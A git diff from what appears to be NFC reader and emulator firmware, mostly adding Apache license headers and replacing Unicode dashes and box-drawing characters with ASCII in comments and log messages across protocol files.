agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /* * Serialization format (binary blob): * [0] uid_len (1 byte) @@ -428,13 +441,13 @@ int nfc_device_get_active(void) hb_nfc_err_t nfc_device_save_generic(const char* name, const hb_nfc_card_data_t* card) { (void)name; (void)card; - return HB_NFC_ERR_INTERNAL; /* deferred — nfc_store not yet implemented */ + return HB_NFC_ERR_INTERNAL; /* deferred - nfc_store not yet implemented */ } hb_nfc_err_t nfc_device_load_generic(const char* name, hb_nfc_card_data_t* card) { (void)name; (void)card; - return HB_NFC_ERR_NOT_FOUND; /* deferred — nfc_store not yet implemented */ + return HB_NFC_ERR_NOT_FOUND; /* deferred - nfc_store not yet implemented */ } const char* nfc_device_protocol_name(hb_nfc_protocol_t proto) diff --git a/firmware_p4/components/Applications/nfc/nfc_listener.c b/firmware_p4/components/Applications/nfc/nfc_listener.c index 4849a560..9dcde2c2 100644 --- a/firmware_p4/components/Applications/nfc/nfc_listener.c +++ b/firmware_p4/components/Applications/nfc/nfc_listener.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. #include #include "nfc_listener.h" #include "nfc_device.h" @@ -12,7 +25,7 @@ static const char* TAG = "nfc_emu"; static TaskHandle_t s_emu_task = NULL; static volatile bool s_emu_running = false; -/* Emulation loop — mfc_emu_run_step() handles every AUTH/READ/WRITE/VALUE +/* Emulation loop - mfc_emu_run_step() handles every AUTH/READ/WRITE/VALUE * command from the reader. Hardware (PT memory) covers REQA/anticollision/SELECT. * taskYIELD() lets other tasks run without adding the ~10 ms latency that * vTaskDelay(1) would introduce at the default 100 Hz tick rate. */ diff --git a/firmware_p4/components/Applications/nfc/nfc_reader.c b/firmware_p4/components/Applications/nfc/nfc_reader.c index dcc9a419..c5cd32fa 100644 --- a/firmware_p4/components/Applications/nfc/nfc_reader.c +++ b/firmware_p4/components/Applications/nfc/nfc_reader.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. #include "nfc_reader.h" #include #include @@ -823,7 +836,7 @@ void mf_classic_read_full(nfc_iso14443a_data_t* card) void mf_classic_write_all(nfc_iso14443a_data_t* target, bool write_trailers) { if (!s_emu_data_ready) { - ESP_LOGW(TAG, "[WRITE] no card dump — run read first"); + ESP_LOGW(TAG, "[WRITE] no card dump - run read first"); return; } @@ -838,7 +851,7 @@ void mf_classic_write_all(nfc_iso14443a_data_t* target, bool write_trailers) bool have_b = s_emu_card.keys[sect].key_b_known; if (!have_a && !have_b) { - ESP_LOGW(TAG, "[WRITE] sector %02d: no key — skipping", sect); + ESP_LOGW(TAG, "[WRITE] sector %02d: no key - skipping", sect); sectors_skip++; continue; } @@ -895,7 +908,7 @@ void mfp_probe_and_dump(nfc_iso14443a_data_t* card) mfp_session_t session = { 0 }; hb_nfc_err_t err = mfp_poller_init(card, &session); if (err != HB_NFC_OK) { - ESP_LOGW(TAG, "RATS failed (%s) — not ISO-DEP or removed", hb_nfc_err_str(err)); + ESP_LOGW(TAG, "RATS failed (%s) - not ISO-DEP or removed", hb_nfc_err_str(err)); return; } @@ -916,7 +929,7 @@ void mfp_probe_and_dump(nfc_iso14443a_data_t* card) session.ses_enc[0], session.ses_enc[1], session.ses_enc[2], session.ses_enc[3]); } else { - /* Key wrong or not MFP SL3 — still log the response code */ + /* Key wrong or not MFP SL3 - still log the response code */ ESP_LOGI(TAG, "MIFARE Plus SL3 probe: auth rejected (key wrong or not MFP SL3)"); ESP_LOGI(TAG, "Card is likely DESFire, JCOP, or MFP with custom key"); } diff --git a/firmware_p4/components/Applications/nfc/nfc_scanner.c b/firmware_p4/components/Applications/nfc/nfc_scanner.c index b7ec1452..b50d2f8b 100644 --- a/firmware_p4/components/Applications/nfc/nfc_scanner.c +++ b/firmware_p4/components/Applications/nfc/nfc_scanner.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. #include "nfc_scanner.h" #include "poller.h" #include "nfc_card_info.h" @@ -40,7 +53,7 @@ hb_nfc_err_t nfc_scanner_start(nfc_scanner_t* s, nfc_scanner_cb_t cb, void* ctx) nfc_scanner_event_t evt = { 0 }; hb_nfc_err_t result = HB_NFC_ERR_NO_CARD; - /* ── Step 1: NFC-A (ISO 14443-3A) ───────────────────────────────────── */ + /* Step 1: NFC-A (ISO 14443-3A) */ nfc_iso14443a_data_t card_a = { 0 }; if (iso14443a_poller_select(&card_a) == HB_NFC_OK) { ESP_LOGI(TAG, "NFC-A found UID len=%u SAK=0x%02X", card_a.uid_len, card_a.sak); @@ -54,7 +67,7 @@ hb_nfc_err_t nfc_scanner_start(nfc_scanner_t* s, nfc_scanner_cb_t cb, void* ctx) goto done; } - /* ── Step 2: NFC-B (ISO 14443-3B) ───────────────────────────────────── */ + /* Step 2: NFC-B (ISO 14443-3B) */ iso14443b_poller_init(); { nfc_iso14443b_data_t card_b = { 0 }; @@ -68,7 +81,7 @@ hb_nfc_err_t nfc_scanner_start(nfc_scanner_t* s, nfc_scanner_cb_t cb, void* ctx) } } - /* ── Step 3: NFC-F (FeliCa) ──────────────────────────────────────────── */ + /* Step 3: NFC-F (FeliCa) */ felica_poller_init(); { felica_tag_t tag_f = { 0 }; @@ -81,7 +94,7 @@ hb_nfc_err_t nfc_scanner_start(nfc_scanner_t* s, nfc_scanner_cb_t cb, void* ctx) } } - /* ── Step 4: NFC-V (ISO 15693) ───────────────────────────────────────── */ + /* Step 4: NFC-V (ISO 15693) */ iso15693_poller_init(); { iso15693_tag_t tag_v = { 0 }; diff --git a/firmware_p4/components/Applications/nfc/nfc_store.c b/firmware_p4/components/Applications/nfc/nfc_store.c index af7ddc6f..79d45056 100644 --- a/firmware_p4/components/Applications/nfc/nfc_store.c +++ b/firmware_p4/components/Applications/nfc/nfc_store.c @@ -1,6 +1,19 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. #include "nfc_store.h" -/* Storage stub — full NVS/SD implementation deferred. */ +/* Storage stub - full NVS/SD implementation deferred. */ void nfc_store_init(void) { } int nfc_store_count(void) { return 0; } diff --git a/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_apdu.h b/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_apdu.h index e4dd49dd..796cf767 100644 --- a/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_apdu.h +++ b/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_apdu.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file nfc_apdu.h * @brief ISO/IEC 7816-4 APDU helpers over ISO14443-4 (T=CL). diff --git a/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_common.h b/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_common.h index 021106c6..0dc06631 100644 --- a/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_common.h +++ b/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_common.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file nfc_common.h * @brief Common utilities for the NFC stack. diff --git a/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_crypto.h b/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_crypto.h index c9edf5f0..8acdb612 100644 --- a/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_crypto.h +++ b/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_crypto.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file nfc_crypto.h * @brief Common crypto helpers for NFC phases (CMAC, KDF, diversification). diff --git a/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_rf.h b/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_rf.h index f9c24027..a822e827 100644 --- a/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_rf.h +++ b/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_rf.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file nfc_rf.h * @brief RF layer configuration (Phase 2): bitrate, modulation, parity, timing. diff --git a/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_tag.h b/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_tag.h index 17edd50e..4a0f1f5c 100644 --- a/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_tag.h +++ b/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_tag.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file nfc_tag.h * @brief NFC Forum Tag Type handlers (Phase 7). diff --git a/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_tcl.h b/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_tcl.h index acff6698..65433332 100644 --- a/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_tcl.h +++ b/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_tcl.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file nfc_tcl.h * @brief ISO14443-4 (T=CL) transport wrapper for A/B. diff --git a/firmware_p4/components/Applications/nfc/protocols/common/nfc_apdu.c b/firmware_p4/components/Applications/nfc/protocols/common/nfc_apdu.c index 97c4032f..1174e5c2 100644 --- a/firmware_p4/components/Applications/nfc/protocols/common/nfc_apdu.c +++ b/firmware_p4/components/Applications/nfc/protocols/common/nfc_apdu.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file nfc_apdu.c * @brief ISO/IEC 7816-4 APDU helpers over ISO14443-4 (T=CL). diff --git a/firmware_p4/components/Applications/nfc/protocols/common/nfc_crypto.c b/firmware_p4/components/Applications/nfc/protocols/common/nfc_crypto.c index b96276f2..de43b8ee 100644 --- a/firmware_p4/components/Applications/nfc/protocols/common/nfc_crypto.c +++ b/firmware_p4/components/Applications/nfc/protocols/common/nfc_crypto.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file nfc_crypto.c * @brief Common crypto helpers (CMAC, KDF, diversification). diff --git a/firmware_p4/components/Applications/nfc/protocols/common/nfc_rf.c b/firmware_p4/components/Applications/nfc/protocols/common/nfc_rf.c index 3455bda4..bb7a0609 100644 --- a/firmware_p4/components/Applications/nfc/protocols/common/nfc_rf.c +++ b/firmware_p4/components/Applications/nfc/protocols/common/nfc_rf.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file nfc_rf.c * @brief RF layer configuration (Phase 2). diff --git a/firmware_p4/components/Applications/nfc/protocols/common/nfc_tag.c b/firmware_p4/components/Applications/nfc/protocols/common/nfc_tag.c index 69ed238e..f2e7f037 100644 --- a/firmware_p4/components/Applications/nfc/protocols/common/nfc_tag.c +++ b/firmware_p4/components/Applications/nfc/protocols/common/nfc_tag.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file nfc_tag.c * @brief NFC Forum Tag Type handlers (Phase 7). diff --git a/firmware_p4/components/Applications/nfc/protocols/common/nfc_tcl.c b/firmware_p4/components/Applications/nfc/protocols/common/nfc_tcl.c index 83a2eb70..4169df0c 100644 --- a/firmware_p4/components/Applications/nfc/protocols/common/nfc_tcl.c +++ b/firmware_p4/components/Applications/nfc/protocols/common/nfc_tcl.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file nfc_tcl.c * @brief ISO14443-4 (T=CL) transport wrapper for A/B. diff --git a/firmware_p4/components/Applications/nfc/protocols/emv/emv.c b/firmware_p4/components/Applications/nfc/protocols/emv/emv.c index 1cd02a45..9637f535 100644 --- a/firmware_p4/components/Applications/nfc/protocols/emv/emv.c +++ b/firmware_p4/components/Applications/nfc/protocols/emv/emv.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file emv.c * @brief EMV contactless helpers (PPSE, AID select, GPO, READ RECORD). diff --git a/firmware_p4/components/Applications/nfc/protocols/emv/include/emv.h b/firmware_p4/components/Applications/nfc/protocols/emv/include/emv.h index 8ce2cc8f..77203bd3 100644 --- a/firmware_p4/components/Applications/nfc/protocols/emv/include/emv.h +++ b/firmware_p4/components/Applications/nfc/protocols/emv/include/emv.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file emv.h * @brief EMV contactless helpers (PPSE, AID select, GPO, READ RECORD). diff --git a/firmware_p4/components/Applications/nfc/protocols/felica/felica.c b/firmware_p4/components/Applications/nfc/protocols/felica/felica.c index 09d87efb..2c6e2c87 100644 --- a/firmware_p4/components/Applications/nfc/protocols/felica/felica.c +++ b/firmware_p4/components/Applications/nfc/protocols/felica/felica.c @@ -1,14 +1,27 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file felica.c * @brief FeliCa (NFC-F) reader/writer for ST25R3916. * - * Transport: nfc_poller_transceive() — same as every other protocol. + * Transport: nfc_poller_transceive() - same as every other protocol. * * Frame format (all commands): * [LEN][CMD][payload][CRC-F] * LEN includes itself (LEN=1+1+payload+2) * - * CRC-F: CRC-16/CCITT (poly=0x1021, init=0x0000) — chip appends automatically + * CRC-F: CRC-16/CCITT (poly=0x1021, init=0x0000) - chip appends automatically * with CMD_TX_WITH_CRC in NFC-F mode. */ #include "felica.h" @@ -24,9 +37,7 @@ #include "nfc_rf.h" #define TAG "felica" - -/* ─── Poller init ─────────────────────────────────────────────────────────── */ - +/* Poller init */ hb_nfc_err_t felica_poller_init(void) { nfc_rf_config_t cfg = { @@ -46,9 +57,7 @@ hb_nfc_err_t felica_poller_init(void) ESP_LOGI(TAG, "FeliCa poller ready (NFC-F 212 kbps)"); return HB_NFC_OK; } - -/* ─── SENSF_REQ ───────────────────────────────────────────────────────────── */ - +/* SENSF_REQ */ hb_nfc_err_t felica_sensf_req(uint16_t system_code, felica_tag_t* tag) { return felica_sensf_req_slots(system_code, 0, tag); @@ -84,7 +93,7 @@ hb_nfc_err_t felica_sensf_req_slots(uint16_t system_code, uint8_t time_slots, fe nfc_log_hex("SENSF_RES:", rx, (size_t)len); - /* SENSF_RES: [LEN][0x05][IDm×8][PMm×8][RD×2 optional] */ + /* SENSF_RES: [LEN][0x05][IDmx8][PMmx8][RDx2 optional] */ if (rx[1] != FELICA_CMD_SENSF_RES) { ESP_LOGW(TAG, "Unexpected response code 0x%02X", rx[1]); return HB_NFC_ERR_PROTOCOL; @@ -137,9 +146,7 @@ int felica_polling(uint16_t system_code, uint8_t time_slots, return count; } - -/* ─── READ WITHOUT ENCRYPTION ─────────────────────────────────────────────── */ - +/* READ WITHOUT ENCRYPTION */ hb_nfc_err_t felica_read_blocks(const felica_tag_t* tag, uint16_t service_code, uint8_t first_block, @@ -150,7 +157,7 @@ hb_nfc_err_t felica_read_blocks(const felica_tag_t* tag, /* * Read Without Encryption request: - * [LEN][0x06][IDm×8][SC_count=1][SC_L][SC_H] + * [LEN][0x06][IDmx8][SC_count=1][SC_L][SC_H] * [BLK_count][BLK0_desc][BLK1_desc]... * * Block descriptor (2 bytes): [0x80|len_flag][block_num] @@ -180,7 +187,7 @@ hb_nfc_err_t felica_read_blocks(const felica_tag_t* tag, return HB_NFC_ERR_TIMEOUT; } - /* Response: [LEN][0x07][IDm×8][status1][status2][BLK_count][data] */ + /* Response: [LEN][0x07][IDmx8][status1][status2][BLK_count][data] */ if (rx[1] != FELICA_CMD_READ_RESP) { ESP_LOGW(TAG, "ReadBlocks: unexpected resp 0x%02X", rx[1]); return HB_NFC_ERR_PROTOCOL; @@ -202,9 +209,7 @@ hb_nfc_err_t felica_read_blocks(const felica_tag_t* tag, memcpy(out, &rx[13], (size_t)blk_count * FELICA_BLOCK_SIZE); return HB_NFC_OK; } - -/* ─── WRITE WITHOUT ENCRYPTION ────────────────────────────────────────────── */ - +/* WRITE WITHOUT ENCRYPTION */ hb_nfc_err_t felica_write_blocks(const felica_tag_t* tag, uint16_t service_code, uint8_t first_block, @@ -215,8 +220,8 @@ hb_nfc_err_t felica_write_blocks(const felica_tag_t* tag, /* * Write Without Encryption request: - * [LEN][0x08][IDm×8][SC_count=1][SC_L][SC_H] - * [BLK_count][BLK0_desc][data×16] + * [LEN][0x08][IDmx8][SC_count=1][SC_L][SC_H] + * [BLK_count][BLK0_desc][datax16] */ uint8_t cmd[64]; int pos = 0; @@ -244,7 +249,7 @@ hb_nfc_err_t felica_write_blocks(const felica_tag_t* tag, return HB_NFC_ERR_TIMEOUT; } - /* Response: [LEN][0x09][IDm×8][status1][status2] */ + /* Response: [LEN][0x09][IDmx8][status1][status2] */ uint8_t status1 = rx[10]; uint8_t status2 = rx[11]; if (status1 != 0x00U) { @@ -255,9 +260,7 @@ hb_nfc_err_t felica_write_blocks(const felica_tag_t* tag, ESP_LOGI(TAG, "WriteBlock[%u]: OK", first_block); return HB_NFC_OK; } - -/* ─── FULL DUMP ───────────────────────────────────────────────────────────── */ - +/* FULL DUMP */ void felica_dump_card(void) { ESP_LOGI(TAG, ""); @@ -286,7 +289,7 @@ void felica_dump_card(void) for (size_t si = 0; si < sizeof(services)/sizeof(services[0]); si++) { ESP_LOGI(TAG, ""); - ESP_LOGI(TAG, "Service 0x%04X — %s:", services[si].sc, services[si].name); + ESP_LOGI(TAG, "Service 0x%04X - %s:", services[si].sc, services[si].name); int read_ok = 0; for (int b = 0; b < FELICA_MAX_BLOCKS; b++) { diff --git a/firmware_p4/components/Applications/nfc/protocols/felica/felica_emu.c b/firmware_p4/components/Applications/nfc/protocols/felica/felica_emu.c index 677ac0b1..42f3024d 100644 --- a/firmware_p4/components/Applications/nfc/protocols/felica/felica_emu.c +++ b/firmware_p4/components/Applications/nfc/protocols/felica/felica_emu.c @@ -1,4 +1,17 @@ -/** +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +/** * @file felica_emu.c — DIAGNOSTIC BUILD * Identical to BUG-14 fix but with verbose logging in SENSE to identify * exactly which register/bit is triggering the premature SLEEP. diff --git a/firmware_p4/components/Applications/nfc/protocols/felica/include/felica.h b/firmware_p4/components/Applications/nfc/protocols/felica/include/felica.h index c9ebec85..d2ccb448 100644 --- a/firmware_p4/components/Applications/nfc/protocols/felica/include/felica.h +++ b/firmware_p4/components/Applications/nfc/protocols/felica/include/felica.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file felica.h * @brief FeliCa (NFC-F / ISO 18092) reader/writer for ST25R3916. @@ -18,7 +31,7 @@ #include "highboy_nfc_types.h" #include "highboy_nfc_error.h" -/* ─── Constants ────────────────────────────────────────────────────────────── */ +/* Constants */ #define FELICA_IDM_LEN 8 #define FELICA_PMM_LEN 8 #define FELICA_BLOCK_SIZE 16 @@ -37,7 +50,7 @@ #define FELICA_RCF_NONE 0x00U /**< no system code in response */ #define FELICA_RCF_SYSTEM_CODE 0x01U /**< include system code in response */ -/* ─── Tag descriptor ───────────────────────────────────────────────────────── */ +/* Constants */ typedef struct { uint8_t idm[FELICA_IDM_LEN]; /**< Manufacturer ID (8 bytes) */ uint8_t pmm[FELICA_PMM_LEN]; /**< Manufacturer Parameters (8 bytes) */ @@ -45,9 +58,7 @@ typedef struct { bool rd_valid; /**< rd was included in SENSF_RES */ } felica_tag_t; -/* ═══════════════════════════════════════════════════════════════════════════ - * Poller API - * ═══════════════════════════════════════════════════════════════════════════ */ +/* Poller API */ /** * @brief Configure ST25R3916 for FeliCa polling (212 kbps). @@ -84,7 +95,7 @@ int felica_polling(uint16_t system_code, uint8_t time_slots, * @param service_code Service code (e.g. 0x000B for read-only, 0x0009 for R/W). * @param first_block Starting block number (0-based). * @param count Number of blocks to read (max 4 per command). - * @param out Output buffer (count × 16 bytes). + * @param out Output buffer (count x 16 bytes). */ hb_nfc_err_t felica_read_blocks(const felica_tag_t* tag, uint16_t service_code, @@ -99,7 +110,7 @@ hb_nfc_err_t felica_read_blocks(const felica_tag_t* tag, * @param service_code Service code (e.g. 0x0009 for R/W). * @param first_block Starting block number (0-based). * @param count Number of blocks to write (max 1 per command). - * @param data Data to write (count × 16 bytes). + * @param data Data to write (count x 16 bytes). */ hb_nfc_err_t felica_write_blocks(const felica_tag_t* tag, uint16_t service_code, diff --git a/firmware_p4/components/Applications/nfc/protocols/felica/include/felica_emu.h b/firmware_p4/components/Applications/nfc/protocols/felica/include/felica_emu.h index 29b8ab92..f140e424 100644 --- a/firmware_p4/components/Applications/nfc/protocols/felica/include/felica_emu.h +++ b/firmware_p4/components/Applications/nfc/protocols/felica/include/felica_emu.h @@ -1,4 +1,17 @@ -/** +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +/** * @file felica_emu.h * @brief FeliCa (NFC-F) tag emulation for ST25R3916. * diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/iso14443a.h b/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/iso14443a.h index a6c98870..bd68e0e8 100644 --- a/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/iso14443a.h +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/iso14443a.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing 